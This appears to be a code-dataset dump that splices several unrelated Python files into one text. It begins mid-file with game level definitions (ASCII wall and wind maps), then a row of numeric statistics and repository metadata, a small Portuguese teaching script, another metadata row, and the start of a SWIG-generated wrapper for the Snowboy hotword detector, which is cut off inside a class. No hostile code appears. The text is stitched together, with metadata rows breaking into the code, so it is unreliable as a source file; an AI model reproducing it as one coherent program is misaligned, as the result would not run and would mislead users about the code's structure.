## #### ## ## ##
## #### ## ## #### ## ##
## ## #### ## ##
## ## #### ## ##
## ## #### #### l ## ## ##
## ## #### ## ## ##
## ## ## ## ##
## ## ## r ## ##
## #### ## ## ## ##
## #### ## #### ## ## ##
## ## #### ## ## ##
## #### ## ## ##
## #### ## ##
## ##
#############################
""" #|# #|# #|# """
class level17(boarddef.Level):
m = LMonky
j = RMonky
g = LGhosty
h = RGhosty
b = LBlitzy
walls = """
############ ##
## # ##
## g # ##
## ##### # ########### ##
## # # # # # ##
## # ## # # g # ##
## # #j # # ##### # ##
## # ##### # # # # ##
## # # # ## # ##
## #b # # #j # ##
## ########### # ##### ##
## # ##
## # ##
## ########### # h ##
## # # # ##### ##
## # h # # # # ##
## # ##### # # ## # ##
## # # # # # m # # ##
## # ## # # ##### # ##
## # m # # # # ##
## ##### # # b # ##
## # ########### ##
## b # ##
############ ##
""" #|# #|# #|# """
class level18(boarddef.Level):
o = (ROrcy,)*10
walls = """
############# #############
## ##
## # ##
## ##
## # # ##
## ##
## ##
## # # ##
## ##
## # ####### # ##
## # # ##
## ## ## ##
## # ### ### # ##
## ## ## ##
## # # ##
## # ####### # ##
## # # ##
## ## ## ##
## ###### ###### ##
## ### ### ##
## ## o ## ##
## ## ####### ## ##
## ## ## ##
############# #############
""" #|# #|# #|# """
class level19(boarddef.Level):
n = LNasty
g = RGhosty
f = LFlappy
s = LSpringy
walls = """
## ### ### ### ##
## # # # # # # ##
## # #### #### # ##
## #n # #n # #n # ##
## ### ### ### ##
## # # ##
## # # ##
## ### f ### ##
## # # g # # ##
## # # f # # ##
## #n # g #n # ##
## ### ### ##
## # # ##
## # # ##
## ### ### ### ##
## # #s # #s # # ##
## # #### #### # ##
## #n # #n # #n # ##
## ### ### ### ##
## ##
## ##
## ##
## ##
#############################
""" #|# #|# #|# """
class level20(boarddef.Level):
s = LSpringy, RSpringy
letter = fire = top = 1
walls = """
### ###
### ###
## ##
## ##
##ss ss # # ss ss ##
## # # # # # # ##
## # # ##### # # ##
## # # # # ##
## # # # # ##
## # # ##
## # # ##
## # # ##
## ##
## ##
## ##
## ##
## # # ##
## # # ##
## # # ##
## ##
## ##
## ##
## ##
## ######### ######### ##
""" #|# #|# #|# """
class level21(boarddef.Level):
n = (RNasty,)*12
letter = 1
walls = """
#############################
## ##
##n ##
######################### ##
## ##
## ##
## #########################
## ##
## ##
######################### ##
## ##
## ##
## #########################
## ##
## ##
######################### ##
## ##
## ##
## #########################
## ##
## ##
## ##
## ##
#############################
""" #|# #|# #|# """
class level22(boarddef.Level):
n = LNasty
m = LMonky
g = LGhosty
f = LFlappy
s = LSpringy
o = LOrcy
r = LGramy
b = LBlitzy
walls = """
## ### ### ### ##
## # # # # # # ##
## # #### #### # ##
## #o # #b # #r # ##
## ### ### ### ##
## # # ##
## # # ##
## ### ### ##
## # # # # ##
## # # # # ##
## #g # #f # ##
## ### ### ##
## # # ##
## # # ##
## ### ### ### ##
## # # # # # # ##
## # #### #### # ##
## #m # #s # #n # ##
## ### ### ### ##
## ##
## ##
## ##
## ##
#############################
""" #|# #|# #|# """
class level23(boarddef.Level):
m = LMonky
water = top = 1
walls = """
###### # # ######
###### # # ######
## # m # ##
## ######## ##### ######## ##
## ######## ##### ######## ##
## ######## ##### m ## ##
## ######## ########### ## ##
## m ######## ## ##
## ########### ######## ## ##
## ########### m ## ##
## ################ ###### ##
## ################ ###### ##
## ######## m ##
## ######## ############## ##
## ######## ############## ##
## ########m ########### ##
## m ##### ##### m ##
######## ##### ##### ########
######## m m ########
############## ##############
#############################
## ##
## ##
###### ######### ######
""" #|# #|# #|# """
class level24(boarddef.Level):
g = RGhosty
f = RFlappy
s = LSpringy
t = RSpringy
walls = """
#############################
## ##
## ##
## s t ##
## s t ##
## s t ##
###### ######
## ##
## ##### ##### ##### ##
## # # # ##
## #g # #g ##
## # #f # ##
## # # # ##
## ##
## ##
## ##### ##### ##### ##
## # # # ##
## # #g # ##
## #f # #f ##
## # # # ##
## ##
## ##
## ##
#############################
""" #|# #|# #|# """
class level25(boarddef.Level):
s = LSpringy
t = RSpringy
letter = lightning = 1
walls = """
############# #############
## ##
## # ##
## # ##
## s t ##
## # # # # ##
## # # # # ##
## ##
## # ##
## # ##
## t s ##
## # # # # ##
## # # # # ##
## ##
## # ##
## # ##
## s t ##
## # # # # ##
## # # # # ##
## ##
## # ##
## # ##
## ##
############# #############
""" #|# #|# #|# """
class level26(boarddef.Level):
s = LSpringy
fire = 1
walls = """
####### #######
## ##
## ##
##s s ##
##s ####### ####### s ##
##s s ##
#### ####
## ##
## ## ## ##
## ##
## ## ## ##
## ##
## ### ##
## ##
##s s ##
#### ## ## ####
## ##
## ##
## ##
## ##
## s s ##
## ## ## ##
## ##
#############################
""" #|# #|# #|# """
class level27(boarddef.Level):
s = LSpringy
fire = 1
walls = """
## ##
## ##
## # s # ##
##s # # s # # s ##
## # #s # # ##
## # # # # ##
### # ###
## ### ##
### # ###
## # # # # # ##
## #s # # #s # ##
## # # # # ##
## # # ##
## ### ### ##
## # # ##
## # # ##
## s #s # s ##
## # # # # # # ##
## # # # # # ##
## # ### # ##
## ### # ### ##
## # # ##
## ##
#############################
""" #|# #|# #|# """
class level28(boarddef.Level):
f = LFlappy
walls = """
#############################
######### ###########
## ## f #### ##
##f ## ff #### f ##
##f f ## ### ####f f ##
## f ## ### #### f ##
##### ## ### ###### ##
##### ## ### ###### ##
##### ## #### ###### ##
##### ## #### ###### ##
## #### ##
## ##
## ##
## ## ######## ### ##
## ## ######## ### ##
## ## ######## ### ##
## ## ### ### ##
## ## ### ### ##
## ## ### ### ##
## ##### ### ##### ##
## ##### ### ##### ##
## ### ##
## ### ##
#############################
""" #|# #|# #|# """
class level29(boarddef.Level):
f = LFlappy, RFlappy
top = water = 1
walls = """
## ##################### ##
## ##
## f f ##
## ##################### ##
## ##################### ##
## ##
## f f ##
## ##################### ##
## ##################### ##
## ##
## f f ##
## ##################### ##
## ##################### ##
## ##
## f f ##
## ##################### ##
## ##################### ##
## ##
## f f ##
## ##################### ##
## ##################### ##
## ##
## f f ##
## ##################### ##
""" #|# #|# #|# """
class level30(boarddef.Level):
g = RGhosty
h = RGhosty
i = LGhosty
j = LGhosty
walls = """
#############################
## ##
## ##
## ##
## ####g # ##
## ###### ##
## j ###### ##
## ####### ##
## ###### ##
## ######h ##
## # #### ##
## i ##
## ##
## ##
## ####g # ####g # ##
## ###### ###### ##
## j ###### j ###### ##
## ####### ####### ##
## ###### ###### ##
## ######h ######h ##
## # #### # #### ##
## i i ##
## ##
#############################
""" #|# #|# #|# """
class level31(boarddef.Level):
o = LGramy, RGramy
r = LOrcy
s = ROrcy
top = letter = lightning = fire = 1
walls = """
## ######## ######## ##
## ##
## ##
## r s ##
## ######## ######## ##
##o o ##
###### ######
## ##
##o s # #r o ##
############# #############
## ##
## ##
## ##################### ##
## ##
## ##
## ####### ####### ##
## ##
##o o ##
########## # # ##########
## # # ##
## ## ## ##
## ##
## ##
############# #############
""" #|# #|# #|# """
class level32(boarddef.Level):
n = LNasty, RNasty
f = (LFlappy, RFlappy) * 2
walls = """
############# #############
## ## ## ##
## f ## ##f ##
## ## ## ##
## ## ## ##
## ## ## ##
## ## ## ##
## ## ## ##
##n ## ## n ##
#############################
#############################
## ##
## f ##
##n n ##
#############################
#############################
## ## ## ##
## ## ## ##
## ## ## ##
## ## ## ##
## ## ## ##
## ## ## ##
## ## ## ##
############# #############
""" #|# #|# #|# """
winds = """
>> ^ <<
>>>>>>>>>>>>> ^ <<<<<<<<<<<<<
>>^ ^ ^<<
>>^ ^ ^<<
>>^ ^ ^<<
>>^ ^ ^<<
>>^ ^ ^<<
>>^ ^ ^<<
>>^ ^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ xxx ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
"""
class level33(boarddef.Level):
monsters = [mnstrmap.Gramy(14, -2, 1),
mnstrmap.Gramy(13, -2, 0)] * 10
top = 1
walls = """
## ## ## ##
## ## ## ##
## ## ## ##
## ####### ####### ##
## # # ##
## # # ##
## # ########### # ##
## # # ##
## # # ##
## ####### ####### ##
## # # ##
## # # ##
## # ########### # ##
## # # ##
## # # ##
## ####### ####### ##
## # # ##
## # # ##
## # ########### # ##
## # # ##
## # # ##
## ####### ####### ##
## ## ## ##
############# #############
""" #|# #|# #|# """
winds = """
>> <<
>>>xxxxxxxxxxxxxxxxxxxxxxx<<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
"""
class level34(boarddef.Level):
n = LNasty
N = RNasty
m = LMonky
M = RMonky
g = LGhosty
G = RGhosty
o = LOrcy
O = ROrcy
r = LGramy
R = RGramy
b = LBlitzy, RBlitzy
top = water = letter = 1
walls = """
##### # ############# # #####
## # # # ##
## # # # ##
## # # # ##
## r #R ##
############# # #############
## # ##
##G # # # g ##
## # # # ##
## # # # ##
## #O b o # ##
##### # ############# # #####
## # # ##
## # # # ##
## # # # ##
## # # # ##
##M # m ##
############# # #############
## # ##
## # # # ##
## # # # ##
## # # # ##
## # n #N # ##
##### # ############# # #####
""" #|# #|# #|# """
class level35(boarddef.Level):
g = (RGhosty,)*3
h = (LGhosty,)*3
walls = """
############# #############
## h ##
#############################
##g ##
#############################
## h ##
############# #############
##g ##
#############################
## h ##
#############################
##g ##
############# #############
## h ##
#############################
##g ##
#############################
## h ##
############# #############
##g ##
#############################
## ##
## ##
############# #############
""" #|# #|# #|# """
class level36(boarddef.Level):
f = LFlappy
r = RSpringy
top = fire = letter = 1
walls = """
## # # # # # # ##
## f # # r # # f ##
## # # #f r # # # ##
## # # r # # ##
## f # # # f # # # f ##
## # # # # ##
## f # # # f # # # f ##
## # # f # # ##
## # # # # # # ##
## f # # f # # f ##
## # # # f # # # ##
## # # f # # ##
## # # # # # # ##
## # # f f # # ##
## # # # # # # ##
## # # # # ##
## # # # f # # # ##
## # # # # ##
## # # # f # # # ##
## # # f # # ##
## # # # f # # # ##
## # # # # ##
## # # # f # # # ##
#############################
""" #|# #|# #|# """
class level37(boarddef.Level):
n = LNasty
m = RMonky
o = (RFlappy,) * 5
s = LSpringy
t = RSpringy
walls = """
####### ######### #######
## ##
## ##
## ##
## #s t s t # ##
## ##################### ##
## # # ##
## # # ##
## # o # ##
## # # ##
## # # ##
## # #n m # # ##
## # ####### # ##
## # # # ##
## # # # ##
## # # # ##
## # # # ##
## # # # ##
## ##################### ##
## # # # ##
## # ##
## # ##
## # ##
####### ######### #######
""" #|# #|# #|# """
class level38(boarddef.Level):
f = LFlappy
b = (LBlitzy, RBlitzy) * 2
water = 1
walls = """
############# #############
## ##
## ##
## ##
## b b b ##
## ######### ######### ##
## ######### ######### ##
## ######### ######### ##
## ### ### ##
## ### f f f f ### ##
## ### ### ##
## ### ### ### ### ##
## ### ### ### ### ##
## ### ### ### ### ##
## ### ### ### ### ##
## ### ### ##
## ### f f f f ### ##
## ######### ######### ##
## ######### ######### ##
## ######### ######### ##
## ##
## ##
## ##
############# #############
""" #|# #|# #|# """
class level39(boarddef.Level):
monsters = []
mnstrclasses = ([mnstrmap.Nasty] * 10 +
[None] * 30 +
[mnstrmap.Monky] * 7 +
[None] * 30 +
[mnstrmap.Orcy] * 5)
for i in range(len(mnstrclasses)):
if mnstrclasses[i]:
left = random.randrange(2)
x = random.choice([7,14,21])
monsters.append(mnstrclasses[i](x-left, -2*i, left))
walls = """
###### #### #### ######
## ##
## ##
## ##
## ##
## ##
## ##
## ##
## ##
## ##
## ##
## ##
## ##
## ##
## ##
## ##
## ##
## ##
###### ######### ######
## ##
## ##
## ##
## ##
#############################
""" #|# #|# #|# """
class level40(boarddef.Level):
g = LGhosty
top = fire = 1
walls = """
## ##
## ##
## # ## ##
## ## ### # ##
## # ## ##
## ##
## ##
## # ##
## # #### ##
## ### ##
## # # g ##
## # ##
## ### # ##
## # # ### ##
## ### g # ##
## # ##
## g ##
## # ## ##
## # # ### ##
## ### # ##
## # g ##
## g # # ##
## ## # ## ##
## # ### ## ## ##
""" #|# #|# #|# """
winds = """
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>>>>>>>>>>>vvxvv<<<<<<<<<<<<
>>>>>>>>>>>>vvxvv<<<<<<<<<<<<
>>>>>>>>>>>>vxxxv<<<<<<<<<<<<
>>>>>>>>>>>>vxxxv<<<<<<<<<<<<
>>>>>>>>>>>>vxxxv<<<<<<<<<<<<
>>>>>>>>>>>>xxxxx<<<<<<<<<<<<
>>>>>>>>>>>>xxxxx<<<<<<<<<<<<
>>>>>>>>>>>>xxxxx<<<<<<<<<<<<
>>>>>>>>>>>>xxxxx<<<<<<<<<<<<
>>>>>>>>>>>>xxxxx<<<<<<<<<<<<
>>>>>>>>>>>>xxxxx<<<<<<<<<<<<
>>>>>>>>>>>>xxxxx<<<<<<<<<<<<
>>>>>>>>>>>>xxxxx<<<<<<<<<<<<
>>>>>>>>>>>>xxxxx<<<<<<<<<<<<
>>>>>>>>>>>>xxxxx<<<<<<<<<<<<
>>>>>>>>>>>>xxxxx<<<<<<<<<<<<
>>>>>>>>>>>>xxxxx<<<<<<<<<<<<
>>>>>>>>>>>>xxxxx<<<<<<<<<<<<
>>>>>>>>>>>>xxxxx<<<<<<<<<<<<
>> <<
"""
class level41(boarddef.Level):
f = RFlappy
j = LFlappy
b = RBlitzy
d = LBlitzy
top = 1
walls = """
############# #############
##b d ##
##### db #####
## ############# ##
## ## ## ##
### ### jfjfjfjf ### ###
## ## fjfjfjfj ## ##
#### ##### ##### ####
## ##
### ###
#### ####
#b d ##
###### ######
### ###
####### #######
##### #####
##b d ##
########## ###########
##### #####
#### ####
####### #######
## ##
## ##
############# #############
""" #|# #|# #|# """
winds = """
>> <<
>>v<<<<<<<<<<<<>>>>>>>>>>>v<<
>>v>>>>>>>>vvvvvvv<<<<<<<<v<<
>>v>>>>>>>>vvvvvvv<<<<<<<<v<<
>>v>>>>>>>>xxxxxxx<<<<<<<<v<<
>>v v<<
>>v v<<
>>v v<<
>>v v<<
>>v v<<
>>v v<<
>>v v<<
>>v v<<
>>v v<<
>>v v<<
>>v v<<
>>v v<<
>>v v<<
>>v v<<
>>v v<<
>>v v<<
>>v v<<
>>> vvv <<<
>>> vvv <<<
"""
class level42(boarddef.Level):
l = LOrcy, LOrcy
r = ROrcy, ROrcy
b = ROrcy, LOrcy, ROrcy, LOrcy
top = 1
water = 1
letter = 1
walls = """
## # ##
## l r ##
## ## ## ##
## ##
## #### ### ##
## # ##
## # # ##
## # # r ##
## # ## ##
## r # # ##
## ## # # ##
## # # ##
## r # # ##
## # # ## # ##
## # # b # ##
## # ## # ##
## # r # ##
## # ## # ##
## # ##
## # # ##
## b ##
## ## # ##
## # ##
## ### ## # ##
""" #|# #|# #|# """
winds = """
>>>vvvvvvvvvvvvvvvvvvvvvvv<<<
>>>vvvvvvvvvvvvvvvvvvvvvvv<<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
"""
class level43(boarddef.Level):
s = LSpringy, RSpringy, LSpringy, RSpringy
f = LFlappy
g = RFlappy
walls = """
## # # ##
## #g f # ##
## ##
## # # ##
## # # ##
##s # # # # s ##
## # # # # ##
## # # # ##
## # ##
## # s #s # ##
## # # # # # ##
## # # # # # # # # # ##
## # # # # # # # # # # # ##
## # # # # # # # # # # # ##
## # # # # # # # # ##
## # # # # # # ##
## # # # # # # ##
## # # ##
## # # ##
## # # ##
## # # # # ##
## # # # # ##
## # # # # # # # ##
## # # # # # # # # # # # # ##
""" #|# #|# #|# """
class level44(boarddef.Level):
o = LGramy
p = RGramy
g = RFlappy
h = LFlappy
top = 1
walls = """
## ##
## ##
## ##
######## ## ##
## h ## ## ##
## g ## ## ###### ##
## h ## ## ## ## ##
## g ## ## ## ## ##
## h ## ## ## ## ##
## g ## ## ## ## ##
## ## ## ## ## ##
## ## ## ## ## h ##
## ## ## ## ## g ##
## ## ## ## ## h ##
## ## ## ## ## g ##
## ###### ## ## h ##
## ## ## g ##
## ## ########
## ##
## ##
## ##
## ##
## p o p o p o ##
#############################
""" #|# #|# #|# """
winds = """
>>>vvvvvvvvvvvvvvvvvvvvvvv<<<
>>>>>>>>vv<<<<<vv<<<>>>vvv<<<
>>^ vv ^<<
>>^ vv ^<<
>>^ vv ^<<
>>^ vv ^<<
>>^ vv >< ^<<
>>^ vv ^^ ^<<
>>^ vv ^^ ^<<
>>^ vv ^^ ^<<
>>^ vv ^^ ^<<
>>^ vv ^^ ^<<
>>^ vv ^^ ^<<
>>^ vv ^^ ^<<
>>^ >< ^^ ^<<
>>^ ^<<<>>>^ ^^ ^<<
>>^ ^^ ^<<
>>^ ^^ ^<<
>>^ >>>>>^^<<<<<^<<
>>^ ^<<
>>^ ^<<
>>^vvvvvvvvvvvvvvvvvvvvvvv^<<
>>^vvvvvvvvvvvvvvvvvvvvvvv^<<
>>^vvvvvvvvvvvvvvvvvvvvvvv^<<
"""
class level45(boarddef.Level):
b = LBlitzy, RBlitzy
top = 1
water = 1
walls = """
## ##
## ## ## ##
## ## ## # # ## ## ##
## # # # # # # ##
## # # #bb # # # ##
## #bb # ## ## #bb # ##
## ## ## ## ## ##
## ## ## ##
## ## ## # # ## ## ##
## # # # # # # ##
## # # # # # # ##
## #bb # # # #bb # ##
## ## ## #bbbb # ## ## ##
## ## ## ##
## ## ## ## ## ##
## # # ## ## # # ##
## # # # # # # ##
## #bb # # # #bb # ##
## ## ## #bb # ## ## ##
## ## ## ##
## ##
## ##
## ##
### ##################### ###
""" #|# #|# #|# """
winds = """
>>>vvvvvvvvvvvvvvvvvvvvvvv<<<
>>>>>>>>>>>>>xxx<<<<<<<<<<<<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
>>xxxxxxxxxxxxxxxxxxxxxxxxx<<
"""
class level46(boarddef.Level):
m = LMonky, RGramy
n = LGramy, RMonky
g = [RGhosty] * 4
h = [LGhosty] * 4
letter = 1
fire = 1
walls = """
############# #############
## ##
## ##
## ##
############# #############
## ## ## ##
## g ## ## h ##
## ## mnmnm ## ##
## ########### ##
## ##
## ##
## ##
######## ### ########
## ## # ## ##
## ## # ## ##
##mnm ## # ##mnm ##
######## ##### ########
## # ##
## # ##
## ####### ##
## ##
## ##
## # # # ##
############ ############
""" #|# #|# #|# """
winds = """
>>> ^ <<<
>>>>>>>>>>>>>>^<<<<<<<<<<<<<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
>>^ x ^<<
>>^ ^<<
>>^ ^<<
>>^ ^<<
"""
class level47(boarddef.Level):
l = LOrcy
r = ROrcy
n = LNasty
m = RNasty
top = 1
lightning = 1
walls = """
## ################### ##
## ################### ##
## # ##
## # ##
## ##
## ##
## ##
###### #### #### ######
## # # ##
## # # ##
## # # ##
## ##### ####### ##### ##
## ##
## ##
## ##
##### ###### ###### #####
## # # ##
## # # ##
##rmr # lr # lnl ##
######### ####### #########
## # # # ##
## # # # ##
## #rmrmrmr #lnlnlnl # ##
## ################### ##
""" #|# #|# #|# """
winds = """
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>vvvvvvvvvvvvvvvvvvvvvvvvv<<
>>>>>>>vvvvvvvvvvvvvvv<<<<<<<
>>>>>>>>^^^^^^^^^^^^^<<<<<<<<
>>>>>>>>^^^^^^^^^^^^^<<<<<<<<
>>>>>>>>^^^^^^^^^^^^^<<<<<<<<
>>^ ^<<
"""
class levelFinal(boarddef.Level):
walls = """
############# #############
## ##
## ##
## ##
## ##
## ##
#### ################# ####
## ### ### ##
## ## ## ##
####### ##### #######
## ##
## ##
## ##
## ##
######### #########
## ##
## ##
## ##
########## ##########
## ##
## ##
## ##
## ##
############# #############
""" #|# #|# #|# """
# nb.: the previous line has no purpose
# other than helping with wall alignment
| 26.508145 | 64 | 0.108316 | 1,236 | 50,445 | 4.420712 | 0.139968 | 0.018668 | 0.02306 | 0.027086 | 0.394583 | 0.34224 | 0.32888 | 0.312408 | 0.286786 | 0.270315 | 0 | 0.007918 | 0.591912 | 50,445 | 1,902 | 65 | 26.522082 | 0.257505 | 0.017564 | 0 | 0.85162 | 0 | 0 | 0.86328 | 0.084605 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.002843 | 0 | 0.168277 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
e4ec14900073a3d14d249467b625ccd24882d47f | 153 | py | Python | Fundamentos/PrimeiroExemplo.py | VictorMello1993/CursoPythonUdemy | d3e2e542a7c3d3f9635f2b88d0e75ab4fa84236d | [
"MIT"
] | null | null | null | Fundamentos/PrimeiroExemplo.py | VictorMello1993/CursoPythonUdemy | d3e2e542a7c3d3f9635f2b88d0e75ab4fa84236d | [
"MIT"
] | 4 | 2021-04-08T21:54:09.000Z | 2022-02-10T14:35:13.000Z | Fundamentos/PrimeiroExemplo.py | VictorMello1993/CursoPythonUdemy | d3e2e542a7c3d3f9635f2b88d0e75ab4fa84236d | [
"MIT"
] | null | null | null | #%% [markdown]
# ## Primeiros exemplos
print('primeiro programa')
1 \
+ 2
help(print)
# %%
1 + 2 + 3
4 + 5 + 6
# %%
print(1 + 2 + 3)
print(4 + 5 + 6)
| 10.2 | 26 | 0.51634 | 24 | 153 | 3.291667 | 0.541667 | 0.075949 | 0.177215 | 0.202532 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.123894 | 0.261438 | 153 | 14 | 27 | 10.928571 | 0.575221 | 0.254902 | 0 | 0 | 0 | 0 | 0.157407 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 4 |
9045f313817b4f531a440140913ac46f6465fa68 | 11,537 | py | Python | lib/ubuntu64/pmdl/snowboy.py | liamw9534/snowboy | 80e8038cd43c28dacda123312604236b00145a1c | [
"Apache-2.0"
] | 182 | 2020-12-02T05:33:33.000Z | 2022-03-31T21:23:39.000Z | lib/ubuntu64/pmdl/snowboy.py | liamw9534/snowboy | 80e8038cd43c28dacda123312604236b00145a1c | [
"Apache-2.0"
] | 17 | 2021-01-05T11:42:50.000Z | 2022-03-06T14:22:35.000Z | lib/ubuntu64/pmdl/snowboy.py | liamw9534/snowboy | 80e8038cd43c28dacda123312604236b00145a1c | [
"Apache-2.0"
] | 66 | 2021-01-01T15:40:05.000Z | 2022-03-31T04:46:49.000Z | # This file was automatically generated by SWIG (http://www.swig.org).
# Version 3.0.7
#
# Do not make changes to this file unless you know what you are doing--modify
# the SWIG interface file instead.
from sys import version_info
if version_info >= (2, 6, 0):
def swig_import_helper():
from os.path import dirname
import imp
fp = None
try:
fp, pathname, description = imp.find_module('_snowboy', [dirname(__file__)])
except ImportError:
import _snowboy
return _snowboy
if fp is not None:
try:
_mod = imp.load_module('_snowboy', fp, pathname, description)
finally:
fp.close()
return _mod
_snowboy = swig_import_helper()
del swig_import_helper
else:
import _snowboy
del version_info
try:
_swig_property = property
except NameError:
pass # Python < 2.2 doesn't have 'property'.
def _swig_setattr_nondynamic(self, class_type, name, value, static=1):
if (name == "thisown"):
return self.this.own(value)
if (name == "this"):
if type(value).__name__ == 'SwigPyObject':
self.__dict__[name] = value
return
method = class_type.__swig_setmethods__.get(name, None)
if method:
return method(self, value)
if (not static):
if _newclass:
object.__setattr__(self, name, value)
else:
self.__dict__[name] = value
else:
raise AttributeError("You cannot add attributes to %s" % self)
def _swig_setattr(self, class_type, name, value):
return _swig_setattr_nondynamic(self, class_type, name, value, 0)
def _swig_getattr_nondynamic(self, class_type, name, static=1):
if (name == "thisown"):
return self.this.own()
method = class_type.__swig_getmethods__.get(name, None)
if method:
return method(self)
if (not static):
return object.__getattr__(self, name)
else:
raise AttributeError(name)
def _swig_getattr(self, class_type, name):
return _swig_getattr_nondynamic(self, class_type, name, 0)
def _swig_repr(self):
try:
strthis = "proxy of " + self.this.__repr__()
except:
strthis = ""
return "<%s.%s; %s >" % (self.__class__.__module__, self.__class__.__name__, strthis,)
try:
_object = object
_newclass = 1
except AttributeError:
class _object:
pass
_newclass = 0
class SnowboyDetect(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, SnowboyDetect, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, SnowboyDetect, name)
__repr__ = _swig_repr
def __init__(self, resource_filename, model_str):
this = _snowboy.new_SnowboyDetect(resource_filename, model_str)
try:
self.this.append(this)
except:
self.this = this
def Reset(self):
return _snowboy.SnowboyDetect_Reset(self)
def RunDetection(self, data):
return _snowboy.SnowboyDetect_RunDetection(self, data)
def SetSensitivity(self, sensitivity_str):
return _snowboy.SnowboyDetect_SetSensitivity(self, sensitivity_str)
def GetSensitivity(self):
return _snowboy.SnowboyDetect_GetSensitivity(self)
def SetAudioGain(self, audio_gain):
return _snowboy.SnowboyDetect_SetAudioGain(self, audio_gain)
def UpdateModel(self):
return _snowboy.SnowboyDetect_UpdateModel(self)
def NumHotwords(self):
return _snowboy.SnowboyDetect_NumHotwords(self)
def SampleRate(self):
return _snowboy.SnowboyDetect_SampleRate(self)
def NumChannels(self):
return _snowboy.SnowboyDetect_NumChannels(self)
def BitsPerSample(self):
return _snowboy.SnowboyDetect_BitsPerSample(self)
__swig_destroy__ = _snowboy.delete_SnowboyDetect
__del__ = lambda self: None
SnowboyDetect_swigregister = _snowboy.SnowboyDetect_swigregister
SnowboyDetect_swigregister(SnowboyDetect)
class SnowboyPersonalDetect(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, SnowboyPersonalDetect, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, SnowboyPersonalDetect, name)
__repr__ = _swig_repr
